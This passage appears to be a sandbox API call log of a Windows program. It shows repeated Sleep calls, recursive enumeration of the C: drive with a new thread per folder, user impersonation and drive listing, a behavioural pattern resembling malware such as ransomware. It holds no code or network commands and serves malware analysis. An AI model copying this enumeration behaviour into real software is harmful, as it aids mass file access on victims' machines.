(dwMilliseconds=0x1) [0238.368] Sleep (dwMilliseconds=0x1) [0238.384] Sleep (dwMilliseconds=0x1) [0238.438] Sleep (dwMilliseconds=0x1) [0238.456] Sleep (dwMilliseconds=0x1) [0238.462] Sleep (dwMilliseconds=0x1) [0238.487] Sleep (dwMilliseconds=0x1) [0238.494] Sleep (dwMilliseconds=0x1) [0238.509] Sleep (dwMilliseconds=0x1) [0238.524] Sleep (dwMilliseconds=0x1) [0238.540] Sleep (dwMilliseconds=0x1) [0238.568] Sleep (dwMilliseconds=0x1) [0238.571] Sleep (dwMilliseconds=0x1) [0238.587] Sleep (dwMilliseconds=0x1) [0238.602] Sleep (dwMilliseconds=0x1) [0238.618] Sleep (dwMilliseconds=0x1) [0238.633] Sleep (dwMilliseconds=0x1) [0238.649] Sleep (dwMilliseconds=0x1) [0238.684] Sleep (dwMilliseconds=0x1) [0238.700] Sleep (dwMilliseconds=0x1) [0238.713] Sleep (dwMilliseconds=0x1) [0238.728] Sleep (dwMilliseconds=0x1) [0238.743] Sleep (dwMilliseconds=0x1) [0238.759] Sleep (dwMilliseconds=0x1) [0238.774] Sleep (dwMilliseconds=0x1) [0238.803] Sleep (dwMilliseconds=0x1) [0238.805] Sleep (dwMilliseconds=0x1) [0238.820] Sleep (dwMilliseconds=0x1) [0238.836] Sleep (dwMilliseconds=0x1) [0238.852] Sleep (dwMilliseconds=0x1) [0238.867] Sleep (dwMilliseconds=0x1) [0238.924] Sleep (dwMilliseconds=0x1) [0238.943] Sleep (dwMilliseconds=0x1) [0238.946] Sleep (dwMilliseconds=0x1) [0238.961] Sleep (dwMilliseconds=0x1) [0238.977] Sleep (dwMilliseconds=0x1) [0238.992] Sleep (dwMilliseconds=0x1) [0239.008] Sleep (dwMilliseconds=0x1) [0239.032] Sleep (dwMilliseconds=0x1) [0239.052] Sleep (dwMilliseconds=0x1) [0239.055] Sleep (dwMilliseconds=0x1) [0239.070] Sleep (dwMilliseconds=0x1) [0240.062] Sleep (dwMilliseconds=0x1) [0240.098] Sleep (dwMilliseconds=0x1) [0240.111] Sleep (dwMilliseconds=0x1) [0240.544] Sleep (dwMilliseconds=0x1) [0240.622] Sleep (dwMilliseconds=0x1) [0240.656] Sleep (dwMilliseconds=0x1) [0240.756] Sleep (dwMilliseconds=0x1) [0240.783] Sleep (dwMilliseconds=0x1) [0240.788] Sleep (dwMilliseconds=0x1) [0240.803] Sleep (dwMilliseconds=0x1) [0240.818] Sleep (dwMilliseconds=0x1) [0240.834] Sleep (dwMilliseconds=0x1) [0240.850] Sleep (dwMilliseconds=0x1) [0240.897] Sleep (dwMilliseconds=0x1) [0240.913] Sleep (dwMilliseconds=0x1) [0240.931] Sleep (dwMilliseconds=0x1) [0240.942] Sleep (dwMilliseconds=0x1) [0240.960] Sleep (dwMilliseconds=0x1) [0240.977] Sleep (dwMilliseconds=0x1) [0240.990] Sleep (dwMilliseconds=0x1) [0241.024] Sleep (dwMilliseconds=0x1) [0241.049] Sleep (dwMilliseconds=0x1) [0241.070] Sleep (dwMilliseconds=0x1) [0241.093] Sleep (dwMilliseconds=0x1) [0241.131] Sleep (dwMilliseconds=0x1) [0241.148] Sleep (dwMilliseconds=0x1) [0241.168] Sleep (dwMilliseconds=0x1) [0241.199] Sleep (dwMilliseconds=0x1) [0243.862] Sleep (dwMilliseconds=0x1) [0244.065] Sleep (dwMilliseconds=0x1) [0244.107] Sleep (dwMilliseconds=0x1) [0244.120] Sleep (dwMilliseconds=0x1) [0244.136] Sleep (dwMilliseconds=0x1) [0244.148] Sleep (dwMilliseconds=0x1) [0244.166] Sleep (dwMilliseconds=0x1) [0244.179] Sleep (dwMilliseconds=0x1) [0244.190] Sleep (dwMilliseconds=0x1) [0244.205] Sleep (dwMilliseconds=0x1) [0244.220] Sleep (dwMilliseconds=0x1) [0244.237] Sleep (dwMilliseconds=0x1) [0244.251] Sleep (dwMilliseconds=0x1) Thread: id = 86 os_tid = 0xab8 [0085.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0085.516] wcscpy (in: _Dest=0x1b82cfe0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.516] wcscat (in: _Dest=0x1b82cfe0, _Source="*" | out: _Dest="C:\\*") returned="C:\\*" [0085.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.516] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b7ce940 [0085.516] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1 [0085.516] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1 [0085.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a300 [0085.516] wcscpy (in: _Dest=0x1b82a300, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.516] wcscat (in: _Dest=0x1b82a300, _Source="$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0085.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0085.517] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0085.517] wcscmp (_String1="Boot", _String2=".") returned 1 [0085.517] wcscmp (_String1="Boot", _String2="..") returned 1 [0085.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0085.517] wcscpy (in: _Dest=0x1b82d000, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.517] wcscat (in: _Dest=0x1b82d000, _Source="Boot" | out: _Dest="C:\\Boot") returned="C:\\Boot" [0085.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0085.517] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0085.517] wcscmp (_String1="bootmgr", _String2=".") returned 1 [0085.517] wcscmp (_String1="bootmgr", _String2="..") returned 1 [0085.517] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0085.517] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1 [0085.517] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1 [0085.517] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0085.517] wcscmp (_String1="Config.Msi", _String2=".") returned 1 [0085.517] wcscmp (_String1="Config.Msi", _String2="..") returned 1 [0085.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a360 [0085.517] wcscpy (in: _Dest=0x1b82a360, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.517] wcscat (in: _Dest=0x1b82a360, _Source="Config.Msi" | out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0085.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0085.518] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0085.518] wcscmp (_String1="Documents and Settings", _String2=".") returned 1 [0085.518] wcscmp (_String1="Documents and Settings", _String2="..") returned 1 [0085.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e80 [0085.518] wcscpy (in: _Dest=0x1b7d7e80, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.518] wcscat (in: _Dest=0x1b7d7e80, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0085.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0085.519] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0085.519] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1 [0085.519] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1 [0085.519] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0085.519] wcscmp (_String1="MSOCache", _String2=".") returned 1 [0085.519] wcscmp (_String1="MSOCache", _String2="..") returned 1 [0085.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a3f0 [0085.519] wcscpy (in: _Dest=0x1b82a3f0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.519] wcscat (in: _Dest=0x1b82a3f0, _Source="MSOCache" | out: _Dest="C:\\MSOCache") returned="C:\\MSOCache" [0085.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a3f0) returned 1 [0085.519] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xe630e550, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x1, nFileSizeLow=0x53ff6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0085.519] wcscmp (_String1="pagefile.sys", _String2=".") returned 1 [0085.519] wcscmp (_String1="pagefile.sys", _String2="..") returned 1 [0085.519] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0085.519] wcscmp (_String1="PerfLogs", _String2=".") returned 1 [0085.519] wcscmp (_String1="PerfLogs", _String2="..") returned 1 [0085.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a3f0 [0085.519] wcscpy (in: _Dest=0x1b82a3f0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.519] wcscat (in: _Dest=0x1b82a3f0, _Source="PerfLogs" | out: _Dest="C:\\PerfLogs") returned="C:\\PerfLogs" [0085.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a3f0) returned 1 [0085.520] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4d4bf60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4d4bf60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0085.520] wcscmp (_String1="Program Files", _String2=".") returned 1 [0085.520] wcscmp (_String1="Program Files", _String2="..") returned 1 [0085.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a3f0 [0085.520] wcscpy (in: _Dest=0x1b82a3f0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.520] wcscat (in: _Dest=0x1b82a3f0, _Source="Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0085.520] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0085.520] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1 [0085.520] wcscmp (_String1="Program Files (x86)", _String2="..") returned 1 [0085.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7ec0 [0085.521] wcscpy (in: _Dest=0x1b7d7ec0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.521] wcscat (in: _Dest=0x1b7d7ec0, _Source="Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0085.521] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0085.521] wcscmp (_String1="ProgramData", _String2=".") returned 1 [0085.521] wcscmp (_String1="ProgramData", _String2="..") returned 1 [0085.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a480 [0085.521] wcscpy (in: _Dest=0x1b82a480, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.521] wcscat (in: _Dest=0x1b82a480, _Source="ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0085.522] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0085.522] wcscmp (_String1="Recovery", _String2=".") returned 1 [0085.522] wcscmp (_String1="Recovery", _String2="..") returned 1 [0085.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a4e0 [0085.522] wcscpy (in: _Dest=0x1b82a4e0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.522] wcscat (in: _Dest=0x1b82a4e0, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0085.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0085.523] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0085.523] wcscmp (_String1="System Volume Information", _String2=".") returned 1 [0085.523] wcscmp (_String1="System Volume Information", _String2="..") returned 1 [0085.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x17a750 [0085.523] wcscpy (in: _Dest=0x17a750, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.523] wcscat (in: _Dest=0x17a750, _Source="System Volume Information" | out: _Dest="C:\\System Volume Information") returned="C:\\System Volume Information" [0085.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0085.523] wcscmp (_String1="Users", _String2=".") returned 1 [0085.523] wcscmp (_String1="Users", _String2="..") returned 1 [0085.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0085.523] wcscpy (in: _Dest=0x1b82d000, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.523] wcscat (in: _Dest=0x1b82d000, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82d000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0085.524] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0085.524] wcscmp (_String1="Windows", _String2=".") returned 1 [0085.524] wcscmp (_String1="Windows", _String2="..") returned 1 [0085.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d020 [0085.524] wcscpy (in: _Dest=0x1b82d020, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0085.524] wcscat (in: _Dest=0x1b82d020, _Source="Windows" | out: _Dest="C:\\Windows") returned="C:\\Windows" [0085.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d020) returned 1 [0085.524] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0085.524] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 Thread: id = 87 os_tid = 0xab4 [0085.527] ImpersonateLoggedOnUser (hToken=0x40c) returned 1 [0085.527] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0085.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0085.527] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x1b82cfe0 | out: lpBuffer="C:\\") returned 0x4 [0085.527] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0085.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.527] RevertToSelf () returned 1 Thread: id = 88 os_tid = 0xac8 [0085.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a2d0 [0085.529] wcscpy (in: _Dest=0x1b82a2d0, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0085.529] wcscat (in: _Dest=0x1b82a2d0, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0085.529] wcscat (in: _Dest=0x1b82a2d0, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0085.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.529] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.529] wcscmp (_String1=".", _String2=".") returned 0 [0085.529] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.529] wcscmp (_String1="..", _String2=".") returned 1 [0085.530] wcscmp (_String1="..", _String2="..") returned 0 [0085.530] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0085.530] wcscmp (_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2=".") returned 1 [0085.530] wcscmp 